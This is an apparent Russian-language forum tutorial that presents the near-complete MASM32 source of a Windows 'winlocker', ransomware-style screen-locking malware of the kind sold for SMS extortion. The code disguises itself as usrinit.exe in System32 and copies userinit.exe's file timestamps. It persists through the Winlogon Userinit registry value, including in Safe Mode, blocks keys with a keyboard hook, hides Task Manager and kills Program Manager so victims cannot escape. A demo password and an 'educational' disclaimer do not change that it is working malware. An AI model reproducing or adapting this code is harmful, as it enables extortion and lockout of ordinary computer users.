В последнее время я стал очень часто видеть на форумах множество объявлений о продаже софта типа “блокиратор windows” - это такие программы, которые не дают ничего сделать с системой, пока пользователь не введет код разблокировки.
А код этот он может получить, только отправив смс на какой-либо заданный номер.
В этой статье я покажу, как написать собственную программу для блокировки. Писать я буду на ассемблере (MASM32). Вот внешний вид интерфейса:
http://s39.radikal.ru/i086/0905/dc/a4d2b3a940c3.jpg

Для начала скажу, что программа эта тестировалась на Win XP, Vista и Windows 7, и нигде не удалось ее обойти или убить. Весит это чудо 4.5 кб в неупакованном виде
Конечно, я привожу код лишь в образовательных целях. Ради демонстрации интерфейс программы содержит одно поле для ввода пароля и кнопку для разблокировки, при нажатии на которую программа проверяет пароль, закрывается и отменяет все сделанные ей изменения, пасс по умолчанию - 123. Ответственность за использование программы во вред другим ложится целиком на вас.

Сначала - директивы, инклюды, как обычно…
Код:

   .486                      ;создаем 32-разрядный код для 486
      .model flat, stdcall      ;стандартная модель памяти
      option casemap :none      ;регистрозависимые параметры

      ;подключаем необходимые библиотеки и макросы
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\include\Comctl32.inc
      include \masm32\include\shell32.inc
      include \masm32\include\DIALOGS.INC
      include \masm32\macros\macros.asm
      include \masm32\macros\ucmacros.asm
      include \masm32\include\advapi32.inc

      ;соответствующие им lib-файлы
      includelib \masm32\lib\masm32.lib
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\Comctl32.lib
      includelib \masm32\lib\shell32.lib
      includelib \masm32\lib\advapi32.lib

      ;прототипы некоторых процедур
      DialogProc    PROTO :DWORD,:DWORD,:DWORD,:DWORD ;главная процедура обработки сообщений, посылаемых окну
      MyHook        PROTO :DWORD,:DWORD,:DWORD ;процедура подавления клавиатуры
      EnumProc PROTO :DWORDm, :DWORD ;процедура поиска и закрытия програм менеджера

Теперь - секция данных.
Код:

;далее - несколько юникодовых переменных для работы с реестром и файлами
;дальше я поясню, куда можно записать программу для хорошего автозапуска
WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
WSTR keyname,"Userinit"
WSTR userinit,"\userinit.exe,"
WSTR userinit2,"\userinit.exe"
WSTR MyFile,"\usrinit.exe"

;указывает, убит ли уже Program Manager - часть explorer.exe
explorerKilled db 0

;секция неинициализированных данных
.data?
hWnd dd ? ;хендл нашего окна
hInstance dd ? ;хендл текущего процесса

hIDKey dd ? ;хендл открываемого ключа реестра

;структуры для изменения даты файла
ftime1 FILETIME <>
ftime2 FILETIME <>
ftime3 FILETIME <>

hook dd ? ;хендл устанавливаемого хука

;несколько буферов для хранения строк
buf db 256 dup(?)
buf2 db 256 dup(?)
sys32 db 128 dup(?)

Теперь рассмотрим основной код и алгоритм работы.
Код:

.code

start:

mov hInstance,FUNC(GetModuleHandle,NULL) ;получаем хендл текущего процесса
call main ;вызываем функцию main
invoke ExitProcess,eax

main PROC
      invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32 ;получаем путь к папке System32 в Unicode

      invoke lstrcpyW,offset buf2,offset sys32 ;объединяем полученный путь с именем нашего файла, который мы скопируем
      invoke lstrcatW,eax,offset MyFile ;в папку system32

      invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL ;преобразуем полученную строку в ansi

      invoke GetCommandLine ;получаем значение командной строки
      mov esi,eax ;и получаем из нее имя исполняемого файла
      mov edi,eax ;оно содержится в кавычках
      inc edi ;поэтому их нужно убрать
      inc esi ;вообще, это всё эквивалентно GetModuleFileName, но я уже сделал так :)
      mov al,'"'
      repne scasb
      mov byte ptr [edi-1],0

      push esi ;в esi - указатель на строку с именем и путем к нашему файлу
      invoke lstrcmp,esi,offset buf ;если он совпадает с тем путем, по которому мы копируем файл (в System32)
      pop esi
      .if eax!=0 ;то мы ничего не делаем
        invoke CopyFile,esi,offset buf,TRUE ;иначе - копируем файл

        .if eax!=0
          invoke lstrcpyW,offset buf,offset sys32 ;теперь сделаем дату создания и изменения файла такие же как у userinit.exe
          invoke lstrcatW,eax,offset userinit2
          invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;считаем их
          .if eax!=INVALID_HANDLE_VALUE
            push eax
            invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;вот тут
            pop eax
            invoke CloseHandle,eax

            invoke lstrcpyW,offset buf,offset sys32
            invoke lstrcatW,eax,offset MyFile
            invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0 ;и применим к нашему файлу
            .if eax!=INVALID_HANDLE_VALUE
              push eax
              invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3 ;здесь
              pop eax
              invoke CloseHandle,eax
            .endif
          .endif
        .endif

        invoke lstrcpyW,offset buf,offset sys32
        invoke lstrcatW,eax,offset userinit
        invoke lstrcatW,eax,offset sys32
        invoke lstrcatW,eax,offset MyFile

        ;запишемся в одну из веток для автозапуска
        call WriteReg
      .endif

      ;ну а теперь создадим диалоговое окно с элементами управления

      Dialog " ", \
             "MS Sans Serif",8, \
              0, \
              3, \
              50,50,230,90, \
              1024

      DlgStatic "Введите пароль (123):",0,100,102,100,13,101
      DlgEdit WS_TABSTOP,205,100,100,13,202
      DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201
      CallModalDialog hInstance,0,DialogProc,NULL ;создаем окно и запускаем процедуру обработки сообщений

xor eax,eax
ret
main ENDP

Что же было сделано в предыдущем куске? Сначала программа смотрит, откуда она открыта.
Если это папка System32, и имя программы usrinit.exe, то мы просто создаем диалоговое окно. Если же нет, то мы копируемся с таким именем в System32,
устанавливаем дату создания и изменения файла как у userinit.exe (наша программа зовется уже usrinit.exe), а затем записываемся в автозапуск:
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit.
Этот параметр по умолчанию содержит путь к userinit.exe в папке System32, но туда через запятую можно приписать еще какой-нибудь exe.
Примечательно, что запуск этих файлов будет производиться и в Safe Mode. К сожалению, такие проактивки, как Outpost, предупреждают о попытке изменить этот ключ, считая его критическим. Я не стал искать что-то более замороченное, тем более код я привожу всего лишь в образовательных целях.

Теперь рассмотрим процедуру обработки сообщений, посылаемых окну:
Код:

DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

    .if uMsg == WM_INITDIALOG ;если мы инициализируемся
      invoke ShowWindow,hWin,SW_SHOWMAXIMIZED ;максимизируем окно
      invoke GetWindowLong,hWin,GWL_STYLE ;убираем рамку и заголовок окна
      and eax,not WS_CAPTION
      and eax,not WS_THICKFRAME
      invoke SetWindowLong,hWin,GWL_STYLE,eax

      invoke GetWindowLong,hWin,GWL_EXSTYLE ;делаем форму полупрозрачной
      or eax,WS_EX_LAYERED
      invoke SetWindowLong,hWin,GWL_EXSTYLE,eax
      invoke SetLayeredWindowAttributes,hWin,0,185,LWA_ALPHA

      invoke GetCurrentThreadId ;устанавливаем hook на клавиатуру (это для отключения Esc, Alt+F4 и пр.)
      mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax)

      invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB ;ставим hotkey alt+tab - работает, правда, только в XP
      invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE ;ставим окно поверх всех

      invoke SetTimer,hWin,101,40,NULL ;запускаем таймер для выполнения действий по своему анти-закрытию

      m2m hWnd, hWin

    .elseif uMsg == WM_COMMAND ;если нажали на кнопку
      .if wParam==201 ;если это кнопка разблокировки
        invoke GetDlgItemText,hWnd,202,offset buf,100 ;получаем введенный текст
        invoke lstrcmp,offset buf,chr$("123") ;сравниваем с "123"
        test eax,eax ;если все верно
        je @F ;то выходим
        ret ;иначе - продолжаем выполнение
      @@:
        invoke UnhookWindowsHookEx,hook
        invoke UnregisterHotKey,NULL,108 ;убираем hotkey
        invoke KillTimer,hWnd,101 ;отключаем таймер
        .if taskman!=0
          invoke ShowWindow,taskman,SW_SHOW ;если мы скрывали таскменеджер, то покажем его
        .endif

        invoke lstrcpyW,offset buf,offset sys32
        invoke lstrcatW,eax,offset userinit

        ;почистим реестр от себя
        call WriteReg

        invoke EndDialog,hWin,0 ;выйдем из программы
      .endif
    .elseif uMsg==WM_TIMER ;сообщение по таймеру

    invoke SetForegroundWindow, hWnd ;делаем себя поверх всех
    invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

    call GetForegroundWindow ;проверяем, а нет ли кого выше нас?
    cmp eax,hWnd ;если нет - то все нормально
    je good
      push eax
      invoke GetClassName,eax,offset buf,30 ;проверяем, не taskman ли это?
      invoke lstrcmp,offset buf,chr$("#32770") ;класс dialog box'а - это наверняка таскменеджер
      pop ebx
      test eax,eax
      jne good
        mov taskman,ebx
        invoke ShowWindow,ebx,SW_HIDE ;скрываем его
    good:

      .if explorerKilled==0
        invoke EnumWindows,offset EnumProc,NULL ;если мы еще не убили Program Manager - пытаемся его найти и убить
      .endif

    .endif

xor eax,eax
ret
DialogProc ENDP

Что же делается в вышеописанном куске кода?
Сначала мы создаем перехват клавиатуры - это помогает отключить клавиши Esc, Alt+F4. Потом мы создаем комбинацию горячих клавиш Alt+Tab - работает, правда, только в Windows XP, но и в других системах это не облегчает убивание программы. Окно мы разворачиваем и делаем полупрозрачным, чтобы было видно, что окошки за ним остались
По таймеру проверяем, нет ли кого поверх нашего окна, если это таск менеджер, то скрываем его, если нет, то просто делаем себя активным окном поверх всех.
По нажатию на кнопку разблокировки проверяем пароль, и если он верный, то отменяем все действия, чистим реестр и выходим.

Теперь посмотрим на хук и на процедуру убивания Program Manager’а, а также на процедуру записи в реестр. К слову, програм менеджер - это часть explorer.exe, которая отвечает за трейбар и все что с ним связано, а также за иконки на рабочем столе.
Соответственно, закрыв его, мы просто уберем всё это с экрана, лишив пользователя кнопки Win и прочих возможностей убить нашу программу.
Код:

MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD ;перехват клавиатуры
  cmp nCode,0
  jge @F
    invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam ;по стандарту Windows
    ret
  @@:

  .if (wParam>=31h && wParam<=3Ah) || wParam==8 ;если нажали цифру или BackSpace - то пропускаем нажатие
    invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
    ret
  .endif

  mov eax,1 ;говорим, что мы обработали клавишу и не пересылаем ее дальше в очереди обработчиков

ret
MyHook ENDP

EnumProc PROC,hWndf :DWORD,lParam :DWORD ;поиск и убивание Program Manager'а
  invoke GetWindowText,hWndf,offset buf2,29 ;проверяем, а не програм менеджер ли мы нашли?
  invoke lstrcmp,offset buf2,chr$("Program Manager")

  test eax,eax ;и если это действительно он
  jne @F
    mov explorerKilled,1 ;отмечаем, что мы нашли его и убили, чтобы не гонять цикл впустую (см. код выше)
    invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL ;посылаем ему сообщение о том, что следует немедленно закрыться, что он и делает
  @@:
ret
EnumProc ENDP

WriteReg PROC
        invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL ;открываем ключ для записи
        .IF eax==ERROR_SUCCESS ;если удалось открыть
          invoke lstrlenW,offset buf ;длина буфера
          add eax,eax ;в байтах
          add eax,2 ;с учетом нулевых байтов
          invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax ;записываем в регистр
          invoke RegCloseKey,hIDKey ;закрываем ключ
        .ENDIF
ret
WriteReg ENDP

end start

Ну вот и весь код - в общей сложности примерно 250 строк. Чтобы запустить Program Manager после его закрытия, нужно через диспетчер процессов убить explorer.exe, а потом запустить его снова.
Прикладываю для демнострации собственно exe-файл с кнопкой разблокировки и его полный код.